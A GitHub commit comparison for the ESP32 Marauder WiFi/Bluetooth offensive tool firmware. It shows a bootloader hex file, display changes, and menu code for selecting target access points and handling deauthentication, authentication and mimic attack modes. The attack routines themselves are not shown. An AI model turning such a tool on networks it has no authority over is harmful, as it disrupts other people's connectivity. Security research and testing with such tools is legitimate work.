Compare commits

...

14 Commits

Author SHA1 Message Date
Just Call Me Koko
38098cb9e5 Release v0.9.3 2021-07-24 09:03:17 -04:00
Just Call Me Koko
466d5fbb1a Fix definitions 2021-07-24 01:20:17 -04:00
Just Call Me Koko
51a7ff7e26 Add deauthentication attack 2021-07-24 00:16:56 -04:00
Just Call Me Koko
f166c7a4df Pre ESP-IDF v4.4 2021-07-24 00:14:23 -04:00
Just Call Me Koko
9e1fe534b0 Move Marauder splash screen to byte array 2021-07-22 17:48:56 -04:00
Just Call Me Koko
a23e7a4c48 Add kit firmware modifications 2021-07-08 18:44:47 -04:00
Just Call Me Koko
f801ba0bc5 Update README.md 2021-07-01 11:06:54 -04:00
Just Call Me Koko
31687c10cb Fake wifi functions 2021-06-15 16:33:45 -04:00
Just Call Me Koko
8f57daa699 Release v0.9.1 2021-05-20 21:39:39 -04:00
Just Call Me Koko
910e25f478 Create BootloaderMassStorage2.hex 2021-05-11 15:28:42 -04:00
Just Call Me Koko
039279fc95 Fix some shit; This is a good commit message 2021-05-10 18:47:28 -04:00
Just Call Me Koko
d2b89654e6 Add probe request attack 2021-05-09 00:36:27 -04:00
Just Call Me Koko
6e829f5bf4 Add AP select for attacks 2021-05-06 22:49:00 -04:00
Just Call Me Koko
678179a097 Add AP Scan 2021-05-06 20:43:25 -04:00
24 changed files with 2049 additions and 59 deletions

View File

@@ -3,7 +3,7 @@
<!---[![Build Status](https://travis-ci.com/justcallmekoko/ESP32Marauder.svg?branch=master)](https://travis-ci.com/justcallmekoko/ESP32Marauder)--->
<!---Shields/Badges https://shields.io/--->
# ESP32 Marauder v0.9.0
# ESP32 Marauder v0.9.1
<p align="center"><img alt="Marauder logo" src="https://github.com/justcallmekoko/ESP32Marauder/blob/master/pictures/marauder3L.jpg?raw=true" width="300"></p>
<p align="center">
<b>A suite of WiFi/Bluetooth offensive and defensive tools for the ESP32</b>
@@ -19,8 +19,6 @@
<br>
<a href="https://www.twitch.tv/willstunforfood"><img src="https://assets.stickpng.com/images/580b57fcd9996e24bc43c540.png" alt="Twitch WillStunForFood" width="200"></a>
</p>
Catch my live stream on [Twitch](https://www.twitch.tv/willstunforfood) where I play games, have just chatting sessions to talk tech, and just generally be an ordinary person who can't figure out how to make proper life decisions.
## Getting Started
Download the [latest release](https://github.com/justcallmekoko/ESP32Marauder/releases/latest) of the firmware.

View File

@@ -0,0 +1,372 @@
:046800000C940038BC
:1068100084B7877F84BF0FB6F894A89580916000F5
:10682000886180936000109260000FBE90E080E865
:106830000FB6F89480936100909361000FBEC1E0A1
:10684000C5BF82E085BF12D7C0936F0083E08093FD
:106850008100789480910001882339F081E091E0F3
:106860000E94D93D0E94623DF5CF8091800291E067
:10687000980F909380028F3F89F78FE99FE00197EF
:10688000F1F700C000008091E00081608093E0009B
:1068900082E49CED90938C0280938B029CE088E1D3
:1068A0000FB6F894A895809360000FBE9093600097
:1068B000FFCF0895089581E091E00C94BC3D81E004
:1068C00091E00C947B3D81D010928002089591302C
:1068D00039F0923051F480E290E02CEE31E009C0C2
:1068E00082E190E02CE032E004C080E090E020E023
:1068F00030E0FA01318320830895611520E77207A3
:106900008105910558F4AB01BC014F7755276627E7
:10691000772781E0452B462B472B09F080E08170DB
:106920000895BF92CF92DF92EF92FF920F931F9341
:10693000CF93DF93EC01E8A0FF8C0BA11AA126E511
:10694000E216F10468F080913C01807F85608093BD
:106950003C0181E2809346011092470180E02BC008
:10696000B62E6701C6018E199F098017910750F452
:10697000C601BB2011F0F7D101C02FD13FEFC31AE0
:10698000D30AF0CFC801A0E0B0E029E0880F991F3A
:10699000AA1FBB1F2A95D1F74C895D896E897F8913
:1069A0008A019B01081B190B2A0B3B0B0C8B1D8BBF
:1069B0002E8B3F8B81E0DF91CF911F910F91FF9044
:1069C000EF90DF90CF90BF900895EF92FF920F93DA
:1069D0001F93CF93DF93EC018B8D8F31A0F48D311A
:1069E00008F0BAC08231E1F138F4882309F4B4C068
:1069F000833009F466C0B5C08A3109F48CC08B318C
:106A000009F4A2C0AEC0883209F47FC010F5853207
:106A100009F0A7C01092F1001092F1001092F1005D
:106A200085E58093F1001092F1001092F10082E070
:106A30008093F1001092F1008091E8008E778093AE
:106A4000E8008C899D89AE89BF890897A109B109A1
:106A500076C08A3209F457C08F3209F47DC081C0F4
:106A60000F8D1E8D8C8D837019F48D8D882341F0D0
:106A700080913C01807F856080933C0184E278C0F6
:106A800078010532110518F084E2E82EF12C40E07F
:106A900050E0B7018EE192E020D460E070E0C801E0
:106AA0008E199F09E6D38091E8008E778093E800E5
:106AB0008C899D89AE89BF898E199F09A109B10969
:106AC0003EC01F8D012F133108F002E1E02EF12CA2
:106AD00040E050E0B7018AE391E0FFD3812F90E0DE
:106AE00060E070E08E199F09C4D38091E8008E7732
:106AF0008093E8008C899D89AE89BF89801B9109AC
:106B0000A109B1091CC060E001C061E0CE0109DF4C
:106B1000882391F133C01092F1001092F10010928D
:106B2000F1001092F1008091E8008E778093E800E8
:106B30008C899D89AE89BF890497A109B1098C8B85
:106B40009D8BAE8BBF8B1AC08F8D837091E082308E
:106B500009F490E0909300011C8A1D8A1E8A1F8A06
:106B60000DC080913C01807F856080933C0180E274
:106B7000809346011092470180E00AC080913C0159
:106B8000807F80933C01109246011092470181E082
:106B9000DF91CF911F910F91FF90EF9008959B018E
:106BA00036952795260FE22FF0E0E80FF91F60FFDA
:106BB0000EC080818F70942F9295907F892B808357
:106BC00084E0569547958A95E1F74183089540837F
:106BD000842F807F852B818308954F925F926F92DF
:106BE0007F928F929F92AF92BF92CF92DF92EF925D
:106BF000FF920F931F93CF93DF93CDB7DEB7D250A1
:106C00000FB6F894DEBF0FBECDBF8C0140E050E060
:106C100060E072E0CE010196A9D38091E8008B7705
:106C20008093E8000330110508F486C00330110595
:106C300051F480EAFE013196ACE4B1E001900D928E
:106C40008A95E1F779C08091A6019091A7018150C2
:106C5000904C880F991F880F991F0817190778F40F
:106C60008091E6019091E7018150904C880F991F27
:106C7000880F991F0817190708F040C05DC09C01D4
:106C80002D5C3F4F2017310758F34801881A990AA5
:106C9000982C8824990CCE0101967C0154019EEF1A
:106CA000B91A2401612C712CC4018F779927892B83
:106CB00019F4C301B20166D2F701418150E0542FAB
:106CC00044278081482BC301B201A0D26401F2E0C5
:106CD000CF0ED11CC6018F779927892B31F4B401CF
:106CE0006E57710980E090E06FD282E0E80EF11CEF
:106CF000AC14BD0409F4B4CF4601D3CF9C012F5F7F
:106D00003F4F20173107C0F0081B190B102F002729
:106D1000110FFE0131967F01C12CD12CF701619139
:106D20007F01C8018C0D9D1DA3D2FFEFCF1ADF0A92
:106D3000C11482E0D80691F7DE5F0FB6F894DEBF8B
:106D40000FBECDBFDF91CF911F910F91FF90EF90BC
:106D5000DF90CF90BF90AF909F908F907F906F907B
:106D60005F904F900895AF92BF92CF92DF92EF92D3
:106D7000FF920F931F93CF93DF93CDB7DEB7D2501F
:106D80000FB6F894DEBF0FBECDBF9E012F5F3F4F01
:106D9000790120E032E0F701A90111924150504001
:106DA000E1F783309105B8F4019708F58EE3E2E44A
:106DB000F2E0D70101900D928A95E1F785E5C15087
:106DC000DE4F8883CF5FD1408AEAC050DE4F888390
:106DD000C050D2408AC08330910591F580EAECE43E
:106DE000F1E0D70101900D928A95E1F77EC048EF5E
:106DF0005FE060E070E0C701D2DE4FEF5FE061E08E
:106E000070E0C701CCDE6091A6017091A70110E08F
:106E1000CB0101966C011C3011F0AC0102C04FEFA8
:106E20005FE0C701BCDE1F5FB6011D3089F76091CE
:106E3000E6017091E7014FEF5FE0C701B0DE55C09A
:106E40002091A6013091A7012150304C220F331F11
:106E5000220F331F8217930770F42091E6013091BF
:106E6000E7012150304C220F331F220F331F8217AE
:106E70009307E8F43AC0A9014D5C5F4F48175907E2
:106E800060F3FC01E21BF30B9F01322F2227330F2B
:106E9000AE014F5F5D4FD7012E193F09F901EA0F8F
:106EA000FB1FE491ED93A417B507C1F7D6CFA90155
:106EB0004F5F5F4F48175907C0F08C01021B130B3F
:106EC000102F0027110F5E01FFEFAF1AFDEFBF0A71
:106ED00067010E191F09C8018C0D9D1DC8D1F6014F
:106EE00081936F01EA15FB05B1F740E050E060E0E7
:106EF00072E0C701F2D18091E8008E778093E800BC
:106F0000DE5F0FB6F894DEBF0FBECDBFDF91CF912D
:106F10001F910F91FF90EF90DF90CF90BF90AF90B7
:026F20000895D2
:1070000055C00000B4C00000B2C00000B0C0000015
:10701000AEC00000ACC00000AAC00000A8C00000C4
:10702000A6C00000A4C000003EC30000F4C30000DE
:107030009EC000009CC000009AC0000098C00000E4
:1070400096C0000094C0000092C0000090C00000F4
:107050008FC000008CC000008AC0000088C0000003
:1070600086C0000084C0000082C0000080C0000014
:107070007EC000007CC000007AC0000078C0000024
:1070800076C0000074C0000072C0000070C0000034
:107090006EC000006CC000006AC0000068C0000044
:1070A00066C0000064C0000062C0000011241FBE62
:1070B000CFEFDAE0DEBFCDBF83E090E0BAD080FD55
:1070C00012C004B601FE0AC081E020918B0230910B
:1070D0008C0222343C4D19F080E001C081E094B76D
:1070E0009D7F94BF11C004B603FE0AC081E02091C9
:1070F0008B0230918C0222343C4D19F080E001C0AB
:1071000080E094B7977F94BF20E030E0F90145918B
:1071100054918823B9F04F3F5F4FA1F084B7877F28
:1071200084BF0FB6F894A895809160008861809321
:107130006000109260000FBE10928C0210928B02C1
:10714000F901099512E0A0E0B1E0E6E1FEE702C036
:1071500005900D92A038B107D9F722E0A0E8B2E07F
:1071600001C01D92AB38B207E1F752DB52C648CFDF
:107170001F920F920FB60F9211240F900FBE0F9017
:107180001F901895CF92DF92EF92FF926B017C01D6
:10719000B4DB8823A1F08FB7F89407B600FCFDCFCD
:1071A000F999FECF93E0F60190935700E89507B662
:1071B00000FCFDCF91E190935700E8958FBFFF90C1
:1071C000EF90DF90CF900895CF92DF92EF92FF92F1
:1071D0006B017C0192DB8823A1F08FB7F89407B68E
:1071E00000FCFDCFF999FECF95E0F6019093570092
:1071F000E89507B600FCFDCF91E190935700E89524
:107200008FBFFF90EF90DF90CF90089507B600FCFE
:10721000FDCFF999FECF21E0FB010A012093570031
:10722000E8951124089521E2FC01209357008491F0
:10723000089529E0FC012093570084910895E1E02E
:10724000F0E089E080935700849108959FB7F89407
:1072500007B600FCFDCFF999FECF809529E0E1E06B
:10726000F0E0082E20935700E8959FBF0895B7C51A
:10727000BEC5EF92FF920F931F93CF93DF937C01D4
:107280008B016115710521F0FB01C081D18102C024
:10729000C0E0D0E07ED1811119C0CE15DF05A8F481
:1072A0008091E80085FD0DC08091E8008E77809385
:1072B000E8000115110571F3F801D183C08385E061
:1072C00005C01092F1002196E8CF80E0DF91CF91C8
:1072D0001F910F91FF90EF900895CF92DF92EF9260
:1072E000FF920F931F93CF93DF93EC018B017A01F1
:1072F00050D1811132C0E114F10439F0F7018081DD
:107300009181081B190BC80FD91FC12CD12C011555
:10731000110511F18091E80085FD15C08091E8000C
:107320008E778093E800E114F10449F0F701808141
:107330009181C80ED91ED182C08285E00EC029D1AC
:10734000882329F30AC089918093F1000150110923
:10735000FFEFCF1ADF0ADBCF80E0DF91CF911F91E3
:107360000F91FF90EF90DF90CF900895CF92DF9232
:10737000EF92FF920F931F93CF93DF93EC018B015A
:107380007A0107D1811132C0E114F10439F0F7011B
:1073900080819181081B190BC80FD91FC12CD12CDA
:1073A0000115110511F18091E80085FD15C080914E
:1073B000E8008B778093E800E114F10449F0F701CD
:1073C00080819181C80ED91ED182C08285E00EC015
:1073D000E0D0882329F30AC08091F10089930150FD
:1073E0001109FFEFCF1ADF0ADBCF80E0DF91CF91E9
:1073F0001F910F91FF90EF90DF90CF900895209113
:10740000890230918A022617370748F06115710505
:1074100039F42091E8002E772093E80001C0B901EB
:10742000FC0120E06115710571F18EB38823E9F14B
:107430008530E9F18091E80083FD3BC08091E80050
:1074400082FD2DC08091E80080FFECCF2091F300F9
:107450008091F20090E0922B6115710551F0883017
:10746000910538F421912093F10061507109019642
:10747000F3CF21E0089709F020E08091E8008E77B3
:107480008093E800CFCF2111D0CF09C08EB38823DD
:1074900061F0853061F08091E80083FD0AC0809141
:1074A000E80082FFF3CF80E0089582E0089583E052
:1074B000089581E008958F708093E900EBEEF0E08D
:1074C000808181608083EDEEF0E010826093EC00BB
:1074D00040838091EE00881F8827881F08950F93AE
:1074E0001F93CF93DF93062FEC0110E0101771F17B
:1074F0006881611103C01F5F2596F8CF2C81A98197
:10750000BA819B81862F8F70873010F080E01FC07A
:10751000223010F442E001C046E0E8E0F0E020E074
:10752000EA17FB0720F42F5FEE0FFF1FF9CF22951C
:10753000207F422B50E4959F90011124661F6627FF
:10754000661F622BB8DF8111D6CFE0CF81E0DF91DB
:10755000CF911F910F9108958091830287FF0FC0F3
:107560008091E80082FD04C08EB38111F9CF10C074
:107570008091E8008B770AC08EB3882349F0809110
:10758000E80080FFF9CF8091E8008E778093E800D3
:1075900008952091E4003091E50095E64091EC00DB
:1075A000842F817040FF22C08091E80080FD1CC0C4
:1075B0008EB3882399F0853099F08091EB0085FD9A
:1075C00011C04091E4005091E5002417350731F3D4
:1075D000915011F09A01E2CF84E0089582E008957D
:1075E00083E0089581E0089580E008954091E800E7
:1075F00042FFDECF08950F931F93CF93DF9346D0C2
:107600004DD0C8EDD0E088818F77888388818068ED
:10761000888388818F7D888319BC1EBA109281026D
:1076200000EE10E0F80180818B7F8083888181608B
:10763000888342E060E080E03EDFE1EEF0E08081C0
:107640008E7F8083E2EEF0E08081816080838081A4
:1076500088608083F80180818E7F8083888180614B
:107660008883DF91CF911F910F910895E8EDF0E0AD
:1076700080818F7E8083E7EDF0E080818160808370
:1076800084E082BF81E080938202B5CFE8EDF0E034
:1076900080818E7F80831092E20008951092DA003C
:1076A0001092E10008951F920F920FB60F921124CD
:1076B0002F933F934F935F936F937F938F939F93FA
:1076C000AF93BF93EF93FF938091DA0080FF1BC0CD
:1076D0008091D80080FF17C08091DA008E7F809360
:1076E000DA008091D90080FF0BC080E189BD82E182
:1076F00089BD09B400FEFDCF81E08EBBDAD803C09E
:1077000019BC1EBAD7D88091E10080FF17C08091C4
:10771000E20080FF13C08091E2008E7F8093E20040
:107720008091E20080618093E2008091D8008062C5
:107730008093D80019BC85E08EBBC3D18091E10055
:1077400084FF2EC08091E20084FF2AC080E189BDC1
:1077500082E189BD09B400FEFDCF8091D8008F7D04
:107760008093D8008091E1008F7E8093E10080912A
:10777000E2008F7E8093E2008091E200816080933E
:10778000E20080918102882311F084E007C080919B
:10779000E30087FD02C081E001C083E08EBB91D190
:1077A0008091E10083FF26C08091E20083FF22C028
:1077B0008091E100877F8093E10082E08EBB109290
:1077C00081028091E1008E7F8093E1008091E20050
:1077D0008E7F8093E2008091E20080618093E200DE
:1077E00042E060E080E067DE8091F0008860809396
:1077F000F00067D1FF91EF91BF91AF919F918F9171
:107800007F916F915F914F913F912F910F900FBE9C
:107810000F901F9018951F920F920FB60F92112480
:107820002F933F934F935F936F937F938F939F9388
:10783000AF93BF93CF93DF93EF93FF93C091E90092
:10784000CF708091EC00D82FD17080FDD0E81092DD
:10785000E9008091F000877F8093F00078941ED03B
:107860001092E9008091F00088608093F000CD2BA9
:10787000CF70C093E900FF91EF91DF91CF91BF915D
:10788000AF919F918F917F916F915F914F913F91B8
:107890002F910F900FBE0F901F9018951F93CF93AD
:1078A000DF9300D0CDB7DEB7E3E8F2E08BE892E0FB
:1078B0002091F10021938E179F07D1F700D8809176
:1078C000E80083FFEAC080918302909184029530A2
:1078D00009F46FC030F4913071F168F0933059F1D0
:1078E000DCC0983009F4A9C0993009F4B5C09630CD
:1078F00009F0D3C07FC0803899F0823809F0CDC03C
:10790000809187028F70873008F0C7C08093E900AC
:107910008091EB0085FB882780F91092E90001C077
:1079200080E09091E800977F9093E8008093F100C9
:107930001092F1008DC0282F2D7F09F0AEC082304B
:1079400009F0ABC08091850281112AC08091870225
:107950008F702FEF280F263008F09FC08093E9002A
:107960002091EB0020FF1CC0933021F48091EB00AC
:10797000806214C09091EB0090619093EB0021E045
:1079800030E0A90102C0440F551F8A95E2F74093E9
:10799000EA001092EA008091EB0088608093EB008F
:1079A0001092E9008091E800877F8093E800D4DDA1
:1079B00074C0811172C0109185021F778091E3001D
:1079C0008078812B8093E3008091E800877F80930B
:1079D000E800C2DD8091E80080FFFCCF8091E300E9
:1079E00080688093E300111102C082E001C083E04F
:1079F0008EBB53C08058823008F04FC06091870220
:107A000070918802AE014F5F5F4F80918502909127
:107A100086020E946734BC01892B09F43EC0909114
:107A2000E800977F9093E80089819A81E8DC809153
:107A3000E8008B778093E80030C0803871F5809142
:107A4000E800877F8093E800809181028093F100B5
:107A50008091E8008E77A9CF81111FC080918502A7
:107A60009091860299270297C4F48091E800877F5D
:107A70008093E80080918502809381026DDD809182
:107A80008102811106C08091E30087FD02C081E080
:107A900001C084E08EBB0E945B348091E80083FFCC
:107AA0000AC08091E800877F8093E8008091EB0016
:107AB00080628093EB000F900F90DF91CF911F9128
:107AC00008950895CF938EB3882399F0C091E9006B
:107AD000CF709091EC00892F817090FD80E8C82BC9
:107AE0001092E9008091E80083FDD8DECF70C0934A
:107AF000E900CF910895CF93DF932091E80023FF11
:107B000038C0FC01208130E040918702509188020A
:107B10004217530771F5209184022E3F81F02F3FC9
:107B200041F520918302213221F5EC018091E8009A
:107B3000877F8093E80010DD81E088AF1AC0209134
:107B40008302213AB1F42091E800277F2093E800D6
:107B50002091E80020FFFCCFFC01838581508093B9
:107B6000F1008091E8008E778093E800DF91CF915B
:107B7000F3CCDF91CF910895CF93DF93EC01FC011B
:107B80003C968DE2DF011D928A95E9F782E08C83B5
:107B9000898761E0CE010196A2DC882331F061E0A3
:107BA000CE010696DF91CF919ACC80E0DF91CF9104
:107BB0000895EF92FF920F931F93CF93DF9300D01E
:107BC000CDB7DEB72EB3243009F000C18C01FC0123
:107BD00086818F708093E9008091E80082FFBDC0AC
:107BE00086818F708093E9001A8219827801FCE007
:107BF000EF0EF11CAE014F5F5F4F6FE070E0C70109
:107C0000B5DBF801853021F480AD882399F3A5C058
:107C100084859585A685B78585359345A244B3446B
:107C200061F4F801918D8385981738F4808D8F71F8
:107C300021F4828D8150803180F08091EB00806250
:107C40008093EB00F80181818F708093E90080912F
:107C5000EB0080628093EB0080C01A821982780169
:107C6000FBE1EF0EF11CF801628D70E0AE014F5F99
:107C70005F4FC7017BDB853029F4F80180AD882395
:107C800091F36BC08091E8008B778093E800F80156
:107C9000808D87FF04C081818F708093E900C801C7
:107CA0000E94633491E09827F80197AB45E553E5CE
:107CB00062E473E543A754A765A776A74089518975
:107CC0006289738947A750AB61AB72AB4489558910
:107CD0006689778943AB54AB65AB76AB811109C03C
:107CE000452B462B472B29F08091EB008062809337
:107CF000EB00F80186818F708093E9008091EB00A2
:107D0000F80185FF04C080AD8823C1F326C08181BE
:107D10008F708093E9008091EB0085FF05C0F8012A
:107D200080AD8823C1F319C01A8219827801FBE261
:107D3000EF0EF11CAE014F5F5F4F6DE070E0C701C9
:107D4000CCDA853029F4F80180AD882399F305C099
:107D50008091E8008E778093E800F80180AD882359
:107D6000A9F126812F7081E090E0AC0102C0440FA0
:107D7000551F2A95E2F74093EA001092EA0021810C
:107D80002F7001C0880F2A95EAF78093EA001092BD
:107D9000EA0086818F708093E9008091EB0080611A
:107DA0008093EB008091EB0088608093EB008181F1
:107DB0008F708093E9008091EB0080618093EB00ED
:107DC0008091EB0088608093EB0010AE0F900F90D5
:107DD000DF91CF911F910F91FF90EF900895F99946
:107DE000FECF92BD81BDF89A992780B50895262FC0
:107DF000F999FECF92BD81BDF89A019700B40216A1
:107E000039F01FBA20BD0FB6F894FA9AF99A0FBE4E
:067E10000895F894FFCF75
:107E16000100834000000104400000010100000051
:107E2600000000000000000000000000000000004C
:107E3600000000000000000000000000000000003C
:107E460000000000000000000000700000000000BC
:107E5600000A000000000000000000004C554641EA
:107E660020424F4F54202008000000000000000070
:107E76000000000000000000000000004146004C29
:107E8600004100530048000F00262E004200490022
:107E96004E0000000000000000000000464C415368
:107EA6004820202042494E0000000000000000004B
:107EB600000020084E1202000068000041450045FF
:107EC60000500052004F000F00144D002E004200DB
:107ED60049004E00000000000000000045455052D9
:107EE6004F4D202042494E000000000000000000D7
:107EF600000020084E120F00FF03000009022000B8
:107F0600010100803209040000020806500007053E
:107F16008302400005070504024000051201100116
:107F260000000008EB03452001000000000100806E
:107F360000021F0000004C55464100000000426F41
:107F46006F746C6F61646572000000000000302E73
:107F56003030EB3C906D6B646F7366730000020407
:107F660001000210005600F8010016000100000092
:107F7600000000000000000029785634124C5546D7
:107F86004120424F4F542020464154313220202078
:107FA000F1C812C933C93FC944C949C94FC9089565
:087FB000089508950895089555
:107FE000DFCFDFCFDFCFDFCFDFCFDFCFDFCFDFCF21
:087FF000DFCFDFCFDFCFDFCFD1
:087FF8000070000030DFFBDC2B
:040000030000700089
:00000001FF

File diff suppressed because one or more lines are too long

View File

@@ -53,7 +53,7 @@ void Display::RunSetup()
// This should probably have its own class
if (!SPIFFS.begin()) {
Serial.println(F("SPIFFS initialisation failed!"));
while (1) yield(); // Stay here twiddling thumbs waiting
//while (1) yield(); // Stay here twiddling thumbs waiting
}
//this->initLVGL();
@@ -68,6 +68,10 @@ void Display::RunSetup()
//digitalWrite(TFT_BL, HIGH);
//delay(5000);
#ifdef KIT
pinMode(KIT_LED_BUILTIN, OUTPUT);
#endif
}
/* Interrupt driven periodic handler */
@@ -443,15 +447,16 @@ void Display::drawJpeg(const char *filename, int xpos, int ypos) {
fs::File jpegFile = SPIFFS.open( filename, "r"); // File handle reference for SPIFFS
//ESP32 always seems to return 1 for jpegFile so this null trap does not work
if ( !jpegFile ) {
Serial.print("ERROR: File \""); Serial.print(filename); Serial.println ("\" not found!");
return;
}
//if ( !jpegFile ) {
// Serial.print("ERROR: File \""); Serial.print(filename); Serial.println ("\" not found!");
// return;
//}
// Use one of the three following methods to initialise the decoder,
// the filename can be a String or character array type:
boolean decoded = JpegDec.decodeFsFile(filename); // or pass the filename (leading / distinguishes SPIFFS files)
//boolean decoded = JpegDec.decodeFsFile(filename); // or pass the filename (leading / distinguishes SPIFFS files)
boolean decoded = JpegDec.decodeArray(MarauderTitle, 13578);
if (decoded) {
// print information about the image to the serial port
@@ -615,7 +620,7 @@ void Display::jpegRender(int xpos, int ypos) {
// Print information decoded from the Jpeg image
//====================================================================================
void Display::jpegInfo() {
/*
Serial.println("===============");
Serial.println("JPEG image info");
Serial.println("===============");
@@ -629,7 +634,7 @@ void Display::jpegInfo() {
Serial.print ("MCU height :"); Serial.println(JpegDec.MCUHeight);
Serial.println("===============");
Serial.println("");
*/
}
//====================================================================================

View File

@@ -46,8 +46,9 @@
#define LV_ADD_SSID 14
#define WIFI_ATTACK_BEACON_LIST 15
#define TFT_SHIELD
//#define TFT_DIY
//#define TFT_SHIELD
#define TFT_DIY
#define KIT
#define SCREEN_WIDTH 240
#define SCREEN_HEIGHT 320
@@ -64,12 +65,14 @@
//#define MENU_FONT &FreeMonoBold9pt7b
//#define MENU_FONT &FreeSans9pt7b
//#define MENU_FONT &FreeSansBold9pt7b
#define BUTTON_ARRAY_LEN 8
#define BUTTON_ARRAY_LEN 9
#define STATUS_BAR_WIDTH 16
#define LVGL_TICK_PERIOD 6
#define STATUSBAR_COLOR 0x4A49
#define KIT_LED_BUILTIN 13
/*
PROGMEM void my_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p);
PROGMEM bool my_touchpad_read(lv_indev_drv_t * indev_driver, lv_indev_data_t * data);
@@ -108,7 +111,7 @@ class Display
TFT_eSPI tft = TFT_eSPI();
TFT_eSprite img = TFT_eSprite(&tft);
TFT_eSPI_Button key[BUTTON_ARRAY_LEN];
const String PROGMEM version_number = "v0.9.0";
const String PROGMEM version_number = "v0.9.3";
bool printing = false;
bool loading = false;

View File

@@ -155,6 +155,98 @@ void MenuFunctions::writeBadUSB(){
lv_keyboard_set_cursor_manage(kb, true);
}
void MenuFunctions::addAPGFX(){
extern LinkedList<AccessPoint>* access_points;
lv_obj_t * list1 = lv_list_create(lv_scr_act(), NULL);
lv_obj_set_size(list1, 160, 200);
lv_obj_set_width(list1, LV_HOR_RES);
lv_obj_align(list1, NULL, LV_ALIGN_CENTER, 0, 0);
lv_obj_t * list_btn;
lv_obj_t * label;
list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, "Exit");
lv_obj_set_event_cb(list_btn, ap_list_cb);
for (int i = 0; i < access_points->size(); i++) {
char buf[access_points->get(i).essid.length() + 1] = {};
access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
list_btn = lv_list_add_btn(list1, LV_SYMBOL_WIFI, buf);
lv_btn_set_checkable(list_btn, true);
lv_obj_set_event_cb(list_btn, ap_list_cb);
if (access_points->get(i).selected)
lv_btn_toggle(list_btn);
//lv_obj_t * btn1 = lv_btn_create(list_btn, NULL);
//lv_obj_set_event_cb(btn1, ap_list_cb);
//lv_obj_align(btn1, NULL, LV_ALIGN_CENTER, 0, 0);
//lv_btn_set_checkable(btn1, true);
//label = lv_label_create(btn1, NULL);
//lv_label_set_text(label, buf);
}
}
void ap_list_cb(lv_obj_t * btn, lv_event_t event) {
extern LinkedList<AccessPoint>* access_points;
extern MenuFunctions menu_function_obj;
String btn_text = lv_list_get_btn_text(btn);
String display_string = "";
if (event == LV_EVENT_CLICKED) {
if (btn_text != "Exit") {
//lv_list_focus_btn(lv_obj_get_parent(lv_obj_get_parent(btn)), btn);
}
else {
Serial.println("Exiting...");
lv_obj_del_async(lv_obj_get_parent(lv_obj_get_parent(btn)));
for (int i = 0; i < access_points->size(); i++) {
if (access_points->get(i).selected) {
Serial.println("Selected: " + (String)access_points->get(i).essid);
}
}
printf("LV_EVENT_CANCEL\n");
menu_function_obj.deinitLVGL();
wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
display_obj.exit_draw = true; // set everything back to normal
}
}
if (event == LV_EVENT_VALUE_CHANGED) {
if (lv_btn_get_state(btn) == LV_BTN_STATE_CHECKED_RELEASED) {
//Serial.print("Toggle on: ");
//Serial.println(btn_text);
for (int i = 0; i < access_points->size(); i++) {
if (access_points->get(i).essid == btn_text) {
Serial.println("Adding AP: " + (String)access_points->get(i).essid);
AccessPoint ap = access_points->get(i);
ap.selected = true;
access_points->set(i, ap);
}
}
}
else {
//Serial.print("Toggle off: ");
//Serial.println(btn_text);
for (int i = 0; i < access_points->size(); i++) {
if (access_points->get(i).essid == btn_text) {
Serial.println("Removing AP: " + (String)access_points->get(i).essid);
AccessPoint ap = access_points->get(i);
ap.selected = false;
access_points->set(i, ap);
}
}
}
}
}
void MenuFunctions::addSSIDGFX(){
extern LinkedList<ssid>* ssids;
@@ -357,6 +449,9 @@ void load_btn_cb(lv_obj_t * load_btn, lv_event_t event) {
// Build list of files from the SD card
lv_obj_t * list_btn;
list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, "Cancel");
lv_obj_set_event_cb(list_btn, test_btn_cb);
while (true) {
File entity = scripts.openNextFile();
@@ -379,9 +474,6 @@ void load_btn_cb(lv_obj_t * load_btn, lv_event_t event) {
}
scripts.close();
list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, "Cancel");
lv_obj_set_event_cb(list_btn, test_btn_cb);
}
}
@@ -580,6 +672,9 @@ void MenuFunctions::main(uint32_t currentTime)
// Get the display buffer out of the way
if ((wifi_scan_obj.currentScanMode != WIFI_SCAN_OFF ) &&
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_SPAM) &&
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) &&
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH) &&
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_MIMIC) &&
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL))
//(wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_LIST))
display_obj.displayBuffer();
@@ -612,11 +707,15 @@ void MenuFunctions::main(uint32_t currentTime)
// Stop the current scan
if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_PROBE) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_PWN) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_ESPRESSIF) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_ALL) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_DEAUTH) ||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_AUTH) ||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH) ||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_MIMIC) ||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
(wifi_scan_obj.currentScanMode == BT_SCAN_ALL) ||
@@ -641,6 +740,9 @@ void MenuFunctions::main(uint32_t currentTime)
// Check if any key coordinate boxes contain the touch coordinates
// This is for when on a menu
if ((wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_SPAM) &&
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) &&
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH) &&
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_MIMIC) &&
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL))
